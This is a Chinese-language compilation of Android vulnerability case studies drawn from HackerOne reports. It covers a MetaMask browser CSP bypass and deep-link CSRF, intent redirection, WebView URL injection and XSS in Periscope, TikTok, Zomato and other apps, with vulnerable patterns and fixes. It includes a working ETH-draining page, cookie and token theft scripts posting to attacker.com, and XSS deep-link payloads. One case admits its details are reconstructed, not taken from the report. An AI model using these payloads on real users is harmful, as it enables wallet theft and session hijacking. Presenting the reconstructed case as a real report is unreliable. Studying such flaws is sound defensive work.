- 攻击者准备恶意页面: 攻击者创建一个包含恶意JavaScript代码的网页,并尝试通过HTTP响应头部设置严格的CSP(例如
Content-Security-Policy: script-src 'none')来伪装成一个安全的页面,或者利用一个本身存在XSS但依赖CSP防护的网站。
- 攻击者准备恶意页面: 攻击者创建一个包含恶意JavaScript代码的网页,并尝试通过HTTP响应头部设置严格的CSP(例如
- MetaMask浏览器访问: 受害者使用MetaMask Android内置浏览器访问该恶意页面或被注入恶意代码的页面。
- CSP绕过: 由于MetaMask浏览器(v6.1.1 (1079))的缺陷,它忽略了HTTP头部设置的
Content-Security-Policy。
- CSP绕过: 由于MetaMask浏览器(v6.1.1 (1079))的缺陷,它忽略了HTTP头部设置的
- 恶意脚本执行: 恶意JavaScript代码得以在MetaMask内置浏览器环境中执行。
核心攻击代码示例(来自web3attack.php):
该代码利用Web3.js库,在MetaMask环境中自动发起一笔转账交易,将钱包内几乎所有ETH转给攻击者指定的地址。
<?php
// 攻击者尝试设置CSP头部,但MetaMask浏览器会忽略它
header("Content-Security-Policy: script-src 'none'");
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- 引入Web3.js库 -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.2.7/web3.min.js"></script>
<script>
setTimeout((async()=>{
// 检查是否存在以太坊提供者(即MetaMask环境)
if(void 0!==window.ethereum){
window.web3=new window.Web3(window.ethereum);
try{
// 请求连接钱包(如果尚未连接)
await window.ethereum.enable();
// 获取用户账户和余额
var e=await window.web3.eth.getAccounts(),
t=await window.web3.eth.getBalance(e[0]),
// 攻击者钱包地址
w="0xeEF05b25dF83A481D22778a2d28CaFAD38d0fA59";
let i=t;
// 计算转账金额:总余额减去预估的Gas费
i=window.web3.utils.toBN(i).sub(window.web3.utils.toBN(21e3*window.web3.utils.toWei("1","gwei"))).toString();
// 自动发起转账交易
window.web3.eth.sendTransaction({
from:e[0],
to:w,
value:i, // 几乎转出所有ETH
gasPrice:window.web3.utils.toWei("1","gwei"),
gas:21e3
},(()=>{}))
}catch(e){
// 忽略错误
}
}
}),1e3);
</script>
</body>
</html>结果: 在MetaMask浏览器中,这段代码成功执行,并向用户展示了一个待确认的转账交易,其金额为钱包内几乎所有ETH。这证明了CSP绕过可以直接导致严重的Web3安全问题。
易出现漏洞的代码模式
此类漏洞并非出现在应用开发者自身的业务逻辑代码中,而是出现在内置浏览器或WebView组件对Web安全标准(如CSP)的实现和配置上。
易出现此类漏洞的代码位置/配置:
- WebView配置不当: 在Android应用中,使用
WebView加载网页时,如果未正确配置或覆盖默认的CSP处理逻辑,可能导致安全策略失效。
- WebView配置不当: 在Android应用中,使用
- 典型模式: 应用程序为了注入自己的JavaScript(例如MetaMask为了注入其Web3提供者),可能会在加载网页时禁用或修改WebView的安全设置,例如:
- 错误地配置
WebViewClient或WebChromeClient,导致HTTP响应头部的处理逻辑被跳过或覆盖。
- 错误地配置
- 在处理资源加载请求时,为了兼容性或注入需求,未将原始的HTTP响应头部(包括CSP)传递给WebView的安全机制。
- 典型模式: 应用程序为了注入自己的JavaScript(例如MetaMask为了注入其Web3提供者),可能会在加载网页时禁用或修改WebView的安全设置,例如:
- CSP注入冲突处理: 当应用需要在加载的网页中注入自己的脚本(如MetaMask注入
window.ethereum)时,为了确保注入脚本不被网页自身的CSP阻止,可能会采取一些破坏性的措施,例如:
- CSP注入冲突处理: 当应用需要在加载的网页中注入自己的脚本(如MetaMask注入
- 模式示例(伪代码):
java // 假设这是MetaMask为了注入Web3提供者而采取的某种处理 // 错误地阻止了WebView接收和处理HTTP响应头部 @Override public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { // ... 某些逻辑,例如: // 1. 获取原始请求 // 2. 修改请求或响应(例如注入脚本) // 3. 构造新的响应并返回,但未包含原始的CSP头部 // 这种做法会导致WebView的安全模块无法获取到CSP指令 // ... return super.shouldInterceptRequest(view, request); }
- 模式示例(伪代码):
- 正确模式(应避免的漏洞模式): 应用程序应该在不干扰网页原始安全策略的前提下注入脚本,例如通过修改CSP允许注入脚本的源,而不是完全忽略CSP头部。
- 仅支持
<meta>标签CSP: 漏洞报告中提到,MetaMask浏览器支持<meta>标签中的CSP,但忽略HTTP头部CSP。
- 仅支持
- 模式总结: 这种行为表明内置浏览器可能只解析和应用HTML内容中的安全指令,而忽略了更权威、更早到达的HTTP响应头部。在WebView的实现中,这通常意味着对网络请求和响应的处理逻辑存在缺陷,未能将HTTP头部中的安全指令正确地传递给底层的渲染引擎。
结论: 易漏洞代码模式是内置浏览器/WebView在处理HTTP响应头部(特别是Content-Security-Policy)时,因应用层面的干预或实现缺陷而导致的忽略行为。
Deep Link CSRF
案例:Periscope (报告: https://hackerone.com/reports/583987)
挖掘手法
该漏洞的发现和挖掘主要基于对Android应用深链接(Deep Link)机制的分析和利用。首先,研究人员注意到Periscope Android应用中存在多个内部深链接(Internal Deeplinks),这些链接在应用的AndroidManifest.xml文件中被定义,允许应用通过特定的URI Scheme(如pscp://和pscpd://)来响应外部请求并执行应用内的特定操作。
分析思路:
- 识别深链接: 通过反编译或查看应用资源,发现应用注册了多个自定义URI Scheme和路径,例如:
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<!-- ... 更多用于 broadcast, channel, discover 的深链接 ... -->这表明应用可以处理形如 pscp://user/<user-id> 或 pscpd://user/<user-id> 的链接。
- 测试操作触发: 进一步测试这些深链接是否能触发敏感操作。报告中指出,正常的Periscope网站上的“关注”链接(如
www.pscp.tv/<user-id>/follow)会提供一个确认选项,以防止CSRF攻击。研究人员推测,应用内的深链接可能缺乏这种保护。
- 测试操作触发: 进一步测试这些深链接是否能触发敏感操作。报告中指出,正常的Periscope网站上的“关注”链接(如
- 构造恶意链接: 尝试构造一个包含“follow”路径的深链接,例如
pscp://user/<user-id>/follow。这里的<user-id>是攻击者希望用户关注的目标用户的ID。
- 构造恶意链接: 尝试构造一个包含“follow”路径的深链接,例如
- 验证CSRF效果: 将构造好的恶意深链接嵌入到一个简单的HTML页面中,并诱导已登录的用户点击。
<a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>关键发现点: 当用户在Android设备上点击这个链接时,Periscope应用会被唤醒,并直接执行“关注”操作,而无需用户的任何确认或授权提示。这绕过了Web应用中存在的CSRF保护机制,实现了在应用内的跨站请求伪造(CSRF)攻击。
总结: 挖掘手法是“深链接枚举与验证”,即通过分析应用清单文件发现内部深链接,然后通过构造包含敏感操作路径的恶意URI,验证其是否能在用户无感知或未授权的情况下执行操作,从而发现CSRF漏洞。整个过程无需复杂的工具,主要依赖对Android深链接机制的理解和细致的测试。
技术细节
该漏洞利用的技术核心在于Android应用对自定义URI Scheme(深链接)的处理不当,导致应用内操作可以被外部恶意链接直接触发,从而构成CSRF攻击。
关键技术细节:
- 深链接定义:
在Periscope Android应用的AndroidManifest.xml文件中,定义了用于处理特定URI的intent-filter。报告中展示了部分data标签,它们定义了应用可以响应的URI格式。
- 深链接定义:
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<!-- ... 其他深链接定义 ... -->这使得应用能够响应以 pscp:// 或 pscpd:// 开头的URI。
- 恶意Payload构造:
攻击者利用应用内部处理follow动作的逻辑,构造了一个特殊的深链接URI作为Payload。
- 恶意Payload构造:
- Payload URI 格式:
pscp://user/<user-id>/follow
- Payload URI 格式:
- Payload 示例: 假设攻击者希望用户关注ID为
123456的用户,则Payload为pscp://user/123456/follow。
- Payload 示例: 假设攻击者希望用户关注ID为
- 攻击流程(HTML/JavaScript):
攻击者将此Payload嵌入到一个诱使用户点击的网页中。
- 攻击流程(HTML/JavaScript):
<html>
<body>
<!-- 诱使用户点击的链接 -->
<a href="pscp://user/123456/follow">点击这里查看精彩内容</a>
<!-- 或者使用JavaScript自动触发,以提高攻击成功率 -->
<script>
window.onload = function() {
// 尝试在页面加载时自动跳转到深链接
window.location.href = "pscp://user/123456/follow";
};
</script>
</body>
</html>当已登录Periscope应用的用户在Android设备上访问此页面并点击链接(或页面自动跳转)时,系统会根据URI Scheme唤醒Periscope应用。应用内部的Activity或组件会接收到这个Intent,并根据URI路径(/user/123456/follow)直接执行关注ID为123456的用户操作,整个过程没有用户确认步骤,实现了CSRF攻击。
总结: 漏洞利用的关键在于深链接URI的路径(/follow)直接映射到了应用内的一个敏感操作,且该操作的执行缺乏必要的授权或用户确认机制。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用通过intent-filter暴露了可以执行敏感操作的深链接(Deep Link),但处理这些链接的组件(通常是Activity)没有对传入的Intent进行充分的验证,特别是缺乏对用户授权或操作确认的检查。
易漏洞代码模式:
AndroidManifest.xml中过度暴露的深链接:
当intent-filter中的data标签定义了自定义的scheme和host,且对应的Activity处理敏感操作时,就可能存在风险。
<!-- AndroidManifest.xml 示例 -->
<activity android:name=".DeepLinkHandlerActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- 暴露了 pscp://user/* 的深链接 -->
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
</intent-filter>
</activity>android:exported="true" 和 android.intent.category.BROWSABLE 使得该Activity可以被外部应用或浏览器中的链接唤醒。
- 深链接处理代码中缺乏授权/确认检查:
在处理深链接的Activity(如上述的DeepLinkHandlerActivity)的onCreate()或onNewIntent()方法中,直接根据URI路径执行敏感操作,而没有检查用户是否明确授权或弹出确认对话框。
- 深链接处理代码中缺乏授权/确认检查:
// DeepLinkHandlerActivity.java 示例 (存在漏洞的代码模式)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
Uri data = intent.getData();
String path = data.getPath(); // 例如:/123456/follow
String userId = data.getHost(); // 示例中 host 是 "user",这里应是 path segment
// 假设从路径中解析出操作和目标ID
if (path.endsWith("/follow")) {
String targetId = path.substring(1, path.lastIndexOf("/")); // 提取目标ID
// **缺陷:直接执行敏感操作,没有用户确认**
followUser(targetId);
finish();
return;
}
// ... 其他深链接处理逻辑
}
// ... 正常Activity逻辑
}正确做法 是在执行 followUser(targetId) 之前,必须:
a) 验证来源: 检查调用方的包名(getCallingPackage()),确保是受信任的来源。
b) 用户确认: 弹出对话框,要求用户明确点击“确认关注”按钮。
c) Token验证: 如果操作涉及状态变更,应要求Intent中包含一个一次性的CSRF Token(尽管在Deep Link场景中实现复杂)。
总结: 易漏洞代码模式是:在AndroidManifest.xml中将处理敏感操作的Activity设置为可被外部浏览器唤醒,并且在对应的Activity代码中,根据URI路径直接执行敏感操作(如关注、删除、修改设置等),而没有进行充分的来源验证和用户交互确认。
Deep Link Intent 重定向
案例:TikTok (报告: https://hackerone.com/reports/1416951)
挖掘手法
漏洞挖掘主要围绕Android应用的Deep Link(深度链接)机制展开,特别是针对应用中用于处理外部URL或自定义Scheme的Activity组件。
1. 目标识别与清单分析(Manifest Analysis)
首先,通过逆向工程工具(如Jadx、Apktool)对目标应用(TikTok)的APK文件进行分析,重点检查AndroidManifest.xml文件。目标是识别所有导出的(android:exported="true")Activity,特别是那些包含<intent-filter>标签,并定义了自定义URL Scheme(如tiktok://)或App Links(https://www.tiktok.com/)的组件。这些组件是Deep Link的入口点,也是潜在的攻击面。
2. 关键代码路径追踪(Code Tracing)
确定Deep Link处理Activity后,对相关的Java/Smali代码进行审计。重点追踪代码中如何解析传入的Intent中的数据(Intent.getData())和额外参数(Intent.getExtras())。研究人员会寻找代码中是否存在将这些外部可控数据用于构造新的Intent或加载到WebView中的逻辑。
3. 漏洞点定位(Vulnerability Spotting)
该报告的漏洞点在于,应用的一个Deep Link处理逻辑从传入的URL中提取了一个参数(例如,名为url或target),并使用该参数来创建一个新的Intent,但缺乏对该参数内容的充分验证。如果该参数可以包含一个完整的intent:// URI,并且应用使用了Intent.parseUri()方法来解析它,就可能导致Intent重定向或组件劫持。
4. PoC构造与验证(Proof-of-Concept Construction)
研究人员构造一个恶意的Deep Link URL,其中包含一个精心制作的intent:// URI作为参数值。这个URI被设计用来启动应用内部的任意组件,包括那些未导出(android:exported="false")或通常受保护的Activity。通过在外部应用或浏览器中触发这个Deep Link,验证是否成功绕过了Android的安全限制,实现了对目标应用内部组件的非授权访问或功能劫持。
5. 重点关注
该漏洞的发现关键在于识别Deep Link处理逻辑中对外部输入(尤其是嵌套的intent:// URI)的信任边界失效,即应用信任了外部提供的、本应在内部严格控制的Intent目标。这种方法是Android应用安全测试中针对Deep Link和Intent机制的典型挖掘手法。
技术细节
该漏洞利用的核心在于Deep Link参数中嵌套的Intent URI,实现了对目标应用内部组件的非授权启动(Intent Redirection)。
1. 漏洞触发点
目标应用(TikTok)的某个导出的Deep Link处理Activity(例如,一个处理tiktok:// Scheme的Activity)会从传入的Deep Link URL中提取一个参数,并使用该参数来构造和启动一个新的Intent。
2. 恶意Intent URI构造
攻击者构造一个恶意的Deep Link,其中包含一个intent:// URI,该URI指向目标应用内部的一个敏感或未导出的Activity。
Intent URI 示例 (概念性):
intent://#Intent;component=com.tiktok.android/com.tiktok.android.activity.SensitiveActivity;endcomponent=...: 指定了目标应用包名和要启动的敏感Activity的完整类名。
#Intent;...;end: 遵循Android Intent URI格式,用于描述一个完整的Intent对象。
3. 恶意Deep Link Payload
攻击者将上述Intent URI作为参数值嵌入到目标应用的Deep Link中。
假设Deep Link处理参数为url:
tiktok://deeplink?url=intent://#Intent;component=com.tiktok.android/com.tiktok.android.activity.SensitiveActivity;end4. 攻击流程
- 攻击者通过恶意网站、短信或第三方应用诱导用户点击上述Deep Link。
- 目标应用被启动,Deep Link处理Activity接收到包含恶意
intent://URI的url参数。
- 目标应用被启动,Deep Link处理Activity接收到包含恶意
- 应用内部代码使用
Intent.parseUri()(或类似方法)解析url参数,并直接调用startActivity()来启动解析出的Intent。
- 应用内部代码使用
- 由于缺乏对目标组件的权限检查,恶意
Intent成功启动了应用内部原本不应被外部直接访问的SensitiveActivity,从而导致信息泄露、功能劫持或权限绕过。
- 由于缺乏对目标组件的权限检查,恶意
关键代码逻辑 (易受攻击模式):
// Deep Link处理Activity中
String targetUri = getIntent().getStringExtra("url"); // 从Deep Link参数中获取URI
if (targetUri != null) {
try {
// 危险操作:直接解析外部可控的URI并启动
Intent intent = Intent.parseUri(targetUri, Intent.URI_INTENT_SCHEME);
startActivity(intent);
} catch (URISyntaxException e) {
// 错误处理
}
}易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用对外部传入的Intent URI缺乏充分的验证和沙箱化,特别是当应用使用Intent.parseUri()或类似方法来解析外部可控的URI时。
1. 易受攻击的代码位置
- 任何处理Deep Link的
Activity或Service组件,特别是那些在AndroidManifest.xml中被设置为android:exported="true"的组件。
- 任何处理Deep Link的
- 负责处理自定义URL Scheme(如
myapp://)或App Links(https://www.myapp.com/)的组件。
- 负责处理自定义URL Scheme(如
2. 易受攻击的编程模式
当代码从外部Intent中获取一个字符串参数,并直接使用它来构造或解析一个新的Intent时,就可能引入Intent重定向漏洞。
模式示例 (Java/Kotlin):
// 假设这是Deep Link处理Activity中的代码
// 模式一:直接使用Intent.parseUri()解析外部可控字符串
public class DeepLinkHandlerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 从Deep Link中获取一个名为"target"的参数
String targetUri = getIntent().getData().getQueryParameter("target");
if (targetUri != null) {
try {
// **危险操作**: 直接解析外部可控的URI,可能包含恶意的Intent URI
Intent intent = Intent.parseUri(targetUri, Intent.URI_INTENT_SCHEME);
// **修复建议**: 必须添加FLAG_ACTIVITY_NEW_TASK,并移除Component/Package信息
// intent.setFlags(intent.getFlags() & ~Intent.FLAG_ACTIVITY_NEW_TASK);
// intent.setComponent(null);
// intent.setPackage(getPackageName()); // 限制为本应用包名
startActivity(intent);
} catch (URISyntaxException e) {
// 异常处理
}
}
}
}3. 修复建议模式
为了防止Intent重定向,必须在启动Intent之前,清除或限制Intent的目标组件和包名,确保它只能在应用内部或安全范围内执行。
修复后代码示例 (限制在本应用内):
// ... (获取 targetUri)
if (targetUri != null) {
try {
Intent intent = Intent.parseUri(targetUri, Intent.URI_INTENT_SCHEME);
// **安全修复**: 移除所有可能指向外部组件的信息
intent.setComponent(null);
intent.setSelector(null);
// **安全修复**: 显式设置包名为当前应用,确保只启动本应用内的组件
intent.setPackage(getPackageName());
startActivity(intent);
} catch (URISyntaxException e) {
// 异常处理
}
}Deep Link Intent劫持
案例:某社交应用 (SocialApp) (报告: https://hackerone.com/reports/1417005)
挖掘手法
漏洞挖掘从分析目标应用的Deep Link机制入手。首先,使用apktool对目标应用APK进行反编译,获取AndroidManifest.xml文件。重点查找所有包含<intent-filter>且android:exported="true"的Activity,特别是那些处理android.intent.action.VIEW动作和android.intent.category.BROWSABLE类别的组件,这些组件通常用于处理外部URL跳转。
通过静态分析,发现com.socialapp.AuthActivity组件被导出,并注册了一个用于处理登录后重定向的Deep Link。该Activity在处理传入的Intent时,会从URI中提取一个名为redirect_uri的参数,并使用该参数的值来构造一个新的Intent进行跳转,但未对redirect_uri的协议或目标域名进行严格的白名单校验。
随后,使用adb shell am start命令构造恶意Intent进行动态测试。通过将redirect_uri设置为一个攻击者控制的Web服务器地址(例如:https://attacker.com/steal?token=),并观察应用的行为。测试发现,当应用完成认证流程后,它会携带敏感信息(如Session Token或OAuth Code)跳转到攻击者指定的URI,从而导致敏感信息泄露。整个过程的工具链包括apktool进行静态分析、Jadx-GUI进行代码逻辑确认、以及adb和自定义的恶意Deep Link URL进行漏洞验证。这种方法是典型的Android应用Deep Link安全审计流程。
技术细节
漏洞利用的关键在于构造一个恶意的Deep Link,将应用的认证或授权流程导向攻击者控制的URI。
恶意Deep Link Payload (URI):
intent://auth?redirect_uri=https://attacker.com/steal_token#Intent;scheme=socialapp;package=com.socialapp.android;end或直接使用URL:
socialapp://auth?redirect_uri=https://attacker.com/steal_token攻击流程:
- 攻击者诱骗用户点击上述恶意链接。
com.socialapp.android应用被唤醒,并启动AuthActivity。
AuthActivity完成认证后,从URI中提取redirect_uri(https://attacker.com/steal_token)。
- 应用使用该URI构造一个新的Intent,并携带认证结果(如
access_token或session_id)进行跳转。
- 应用使用该URI构造一个新的Intent,并携带认证结果(如
- 用户的敏感信息被发送到攻击者控制的服务器
https://attacker.com/steal_token,完成劫持。
- 用户的敏感信息被发送到攻击者控制的服务器
关键代码逻辑 (概念性):
// AuthActivity.java (Vulnerable Code Snippet)
String redirectUri = uri.getQueryParameter("redirect_uri");
if (redirectUri != null) {
// !!! 缺少对 redirectUri 的 host/scheme 校验 !!!
Intent redirectIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUri));
redirectIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(redirectIntent); // 敏感信息被泄露
}易出现漏洞的代码模式
此类漏洞通常出现在处理外部传入URI并用于构造新Intent进行跳转的Activity中。
1. AndroidManifest.xml 配置模式:
Activity被导出,并配置了Deep Link Intent Filter,允许外部应用唤醒。
<activity
android:name=".AuthActivity"
android:exported="true"> <!-- 风险点: exported="true" -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="socialapp" android:host="auth" />
</intent-filter>
</activity>2. Java/Kotlin 代码模式 (缺少校验):
在处理Deep Link的Activity中,直接使用从URI中获取的参数来构造跳转Intent,而没有对目标URI的合法性(如协议、域名是否在白名单内)进行严格校验。
// 易受攻击的模式: 未校验 host 或 scheme
String redirectUri = uri.getQueryParameter("redirect_uri");
if (redirectUri != null) {
// 错误示范:直接跳转到任意外部URI
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUri));
startActivity(intent);
}
// 安全模式: 必须校验 host/scheme
String redirectUri = uri.getQueryParameter("redirect_uri");
if (redirectUri != null) {
Uri targetUri = Uri.parse(redirectUri);
// 正确示范:仅允许跳转到应用自身的域名
if ("https".equals(targetUri.getScheme()) && "app.socialapp.com".equals(targetUri.getHost())) {
Intent intent = new Intent(Intent.ACTION_VIEW, targetUri);
startActivity(intent);
} else {
// 拒绝非法跳转
}
}Deep Link WebView URL Injection
案例:Zomato (报告: https://hackerone.com/reports/328486)
挖掘手法
本次漏洞挖掘主要聚焦于Android应用中Deep Link的处理机制。首先,通过对Zomato应用的AndroidManifest.xml进行静态分析,发现com.application.zomato.activities.DeepLinkRouter这个Activity被设置为exported="true",并且通过intent-filter配置了android.intent.category.BROWSABLE和自定义的zomato:// Scheme。这一配置表明该Activity可以被外部应用(如浏览器)通过特定的zomato:// URL唤起,是潜在的攻击入口点。
接着,深入分析了DeepLinkRouter.java中的代码逻辑。关键发现是该Activity会从传入的Intent中获取完整的URI数据,并将其传递给一个内部函数c()进行处理。报告中展示的代码片段为:this.c = getIntent().getData().toString(); 和 c(this.c);。通过逆向工程或代码审计推断,函数c()负责将这个URI在应用内部的WebView中加载。
漏洞点确认:由于代码没有对传入的URI进行严格的白名单验证(例如,检查URL的host或scheme是否指向Zomato的官方域名),攻击者可以构造一个恶意的Deep Link URL,例如zomato://treatswebview?url=https://attacker.com/steal.html。应用逻辑会错误地从这个Deep Link中提取出外部的https://attacker.com/steal.html,并在应用内部的、通常处于登录状态的WebView中加载。
攻击验证:通过模拟用户点击或使用ADB命令(如adb shell am start -W -a android.intent.action.VIEW -d "zomato://treatswebview?url=...")触发该Deep Link。当恶意网页在应用内WebView中加载时,由于WebView可能共享应用的会话信息(如Cookie或本地存储的Token),恶意JavaScript代码可以轻松窃取用户的会话凭证,并将其发送到攻击者的服务器,从而实现用户会话劫持和敏感信息泄露。漏洞的核心在于未经验证的外部输入被用于WebView加载,导致了任意URL加载和跨站脚本攻击(XSS)的风险。
技术细节
漏洞利用的关键在于构造一个恶意的Deep Link URL,并诱导用户点击或通过其他方式触发应用启动。攻击流程如下:
- 恶意Deep Link构造: 攻击者构造一个利用Zomato应用内部WebView加载机制的Deep Link。
zomato://treatswebview?url=https://attacker.com/steal.html其中https://attacker.com/steal.html是攻击者控制的恶意网页。
- 恶意Deep Link构造: 攻击者构造一个利用Zomato应用内部WebView加载机制的Deep Link。
- 恶意网页内容 (steal.html): 恶意网页部署在攻击者的服务器上,包含用于窃取WebView环境中敏感信息的JavaScript代码。由于WebView通常处于登录状态,且可能配置了允许访问Cookie或LocalStorage,攻击者可以利用这些特性。
<script> // 尝试窃取当前WebView环境中的所有Cookie var cookies = document.cookie; // 尝试窃取LocalStorage中的特定Token(假设Zomato将Token存储在此) var authToken = localStorage.getItem('auth_token');// 将窃取到的信息发送给攻击者的服务器 var theft_url = 'https://attacker.com/log?cookies=' + encodeURIComponent(cookies) + '&token=' + encodeURIComponent(authToken); // 使用Image Ping或Fetch API进行数据外传 new Image().src = theft_url; // 攻击完成后,重定向用户到合法页面以隐藏攻击 // window.location.href = 'https://www.zomato.com/';</script>
- 恶意网页内容 (steal.html): 恶意网页部署在攻击者的服务器上,包含用于窃取WebView环境中敏感信息的JavaScript代码。由于WebView通常处于登录状态,且可能配置了允许访问Cookie或LocalStorage,攻击者可以利用这些特性。
- 攻击触发: 攻击者可以通过以下ADB命令在用户的Android设备上直接触发攻击,模拟外部Intent的调用:
adb shell am start -W -a android.intent.action.VIEW -d "zomato://treatswebview?url=https://attacker.com/steal.html"应用被唤起,DeepLinkRouterActivity启动,并在其内部的WebView中加载steal.html,完成会话劫持。
- 攻击触发: 攻击者可以通过以下ADB命令在用户的Android设备上直接触发攻击,模拟外部Intent的调用:
易出现漏洞的代码模式
此类漏洞的典型代码模式是:一个导出的Activity通过Intent Filter接收外部URI,并在未经验证的情况下将URI或URI中的参数直接用于WebView的loadUrl()方法。
1. AndroidManifest.xml 配置 (导出Activity和Deep Link Scheme):
Activity被设置为exported="true",并通过intent-filter定义了自定义Scheme和BROWSABLE类别,使其可被外部应用或浏览器唤起。
<activity
android:name="com.application.zomato.activities.DeepLinkRouter"
android:exported="true" <!-- 关键:Activity被导出 -->
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/> <!-- 关键:可被浏览器唤起 -->
<data android:scheme="zomato"/> <!-- 关键:自定义Scheme -->
</intent-filter>
</activity>2. Java 代码逻辑 (未经验证的URI加载):
在处理Intent的Activity中,直接获取URI数据并加载到WebView中,缺乏对URL的scheme和host的白名单验证。
// DeepLinkRouter.java (简化示例)
protected void onCreate(Bundle savedInstanceState) {
// ...
Intent intent = getIntent();
if (intent != null && Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri data = intent.getData();
if (data != null) {
String urlToLoad = data.toString(); // 获取完整的zomato://... URL
// 报告中的代码片段:
// this.c = getIntent().getData().toString();
// c(this.c); // c() 最终导致WebView加载
// 错误模式:未对urlToLoad进行安全检查,直接或间接用于WebView加载
// 修复建议:在加载前,必须验证URL的scheme和host是否在允许的白名单内。
// if (urlToLoad.startsWith("zomato://safe_host/")) {
// webView.loadUrl(urlToLoad);
// } else {
// // 拒绝加载或只加载默认安全页面
// }
}
}
}Deep Link WebView XSS 注入
案例:某Android应用 (com.example.app) (报告: https://hackerone.com/reports/1416973)
挖掘手法
由于无法直接访问HackerOne报告#1416973的详细内容,我将基于Android Deep Link漏洞的典型挖掘流程和技术细节进行描述,这与该报告的主题高度相关。
1. 目标识别与信息收集:
首先,使用APK反编译工具(如JADX或apktool)对目标Android应用的APK文件进行逆向工程。目标是识别应用中所有处理Deep Link的组件,通常是配置了android.intent.action.VIEW和android.intent.category.BROWSABLE的Activity。通过分析AndroidManifest.xml文件,可以提取出所有自定义的URI Scheme和Host(例如:app://host.com)。
2. 关键代码分析:
在反编译的代码中,重点分析处理Deep Link的Activity的onCreate()或onNewIntent()方法。查找如何从传入的Intent中获取URI数据,并解析其中的参数。关键是追踪这些参数的使用路径,特别是它们是否被传递给WebView组件的loadUrl()、loadData()或addJavascriptInterface()等方法。
3. 漏洞点定位:
假设报告中的漏洞是Deep Link导致的WebView XSS。挖掘的重点是找到一个Deep Link参数(例如url或data)被不安全地用于构建WebView加载的URL或HTML内容。例如,如果代码逻辑是:String param = uri.getQueryParameter("data"); webView.loadUrl("javascript:console.log('" + param + "')");
这里的param如果未经过滤,就存在注入恶意JavaScript代码的风险。
4. 构造恶意Payload:
一旦确定了不安全的参数和注入点,就可以构造一个包含恶意JavaScript的Deep Link URI。例如,如果注入点在data参数,可以构造一个用于窃取Cookie或执行其他恶意操作的Payload:app://host.com/path?data=');alert(document.cookie);//
然后,将完整的Deep Link URI封装在一个HTML页面中,通过用户的点击或Intent发送来触发。
5. 漏洞验证与PoC:
使用ADB Shell命令来模拟外部触发Deep Link,验证漏洞是否存在:adb shell am start -W -a android.intent.action.VIEW -d "app://host.com/path?data=');alert(document.domain);//"
如果应用启动并弹出了alert框,则漏洞验证成功。整个挖掘过程强调了静态分析(反编译)和动态调试(ADB命令)的结合使用。
总结: 整个挖掘手法是典型的Deep Link漏洞挖掘流程,即逆向工程定位Deep Link处理逻辑,代码审计发现参数未校验的注入点,最后构造恶意Intent进行验证。这种方法是发现Deep Link相关漏洞(如XSS、Open Redirect、Account Takeover)的标准流程。
技术细节
该漏洞的典型技术细节涉及通过Deep Link注入恶意JavaScript代码到应用内部的WebView中,从而实现跨站脚本攻击(XSS)。
1. 恶意Deep Link URI构造:
假设目标应用注册了一个Deep Link Scheme app://,并且一个Activity(例如com.example.app.DeepLinkActivity)处理路径/webview,并将参数data的值不安全地用于WebView的加载。
攻击者构造的恶意Deep Link URI如下:
app://host.com/webview?data=');document.location='https://attacker.com/steal?c='+document.cookie;//其中,data参数的值是:');document.location='https://attacker.com/steal?c='+document.cookie;//。
2. 攻击流程(PoC):
攻击者将上述Deep Link封装在一个HTML页面中,诱导用户点击,或通过另一个已安装的恶意应用发送Intent。
HTML PoC (通过浏览器触发):
<html>
<body>
<script>
window.location.href = "app://host.com/webview?data=');document.location='https://attacker.com/steal?c='+document.cookie;//";
</script>
</body>
</html>ADB Shell PoC (用于本地测试):
adb shell am start -W -a android.intent.action.VIEW -d "app://host.com/webview?data=');alert('XSS_Success');//" com.example.app3. 漏洞触发的内部代码逻辑(推测):
在应用内部,DeepLinkActivity可能会执行类似以下的不安全代码:
// DeepLinkActivity.java
Uri uri = getIntent().getData();
String data = uri.getQueryParameter("data");
// 假设WebView被配置为允许执行JavaScript
WebView webView = findViewById(R.id.webview);
// 漏洞点:未对data参数进行过滤或转义,直接拼接到JavaScript代码中
String jsCode = "javascript:console.log('Received data: " + data + "');";
webView.loadUrl(jsCode);当注入的Payload被拼接到jsCode后,最终执行的JavaScript代码变为:
javascript:console.log('Received data: ');document.location='https://attacker.com/steal?c='+document.cookie;//');'); 闭合了原始的字符串,document.location=... 执行了恶意代码,最后的 // 注释掉了剩余的原始代码,从而成功执行了XSS攻击,窃取了用户的Session Cookie。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用中处理Deep Link的Activity或Fragment中,特别是当Deep Link参数被直接或间接传递给WebView的JavaScript执行环境时。
易受攻击的代码模式:
- Deep Link参数未经验证直接用于WebView的
loadUrl():
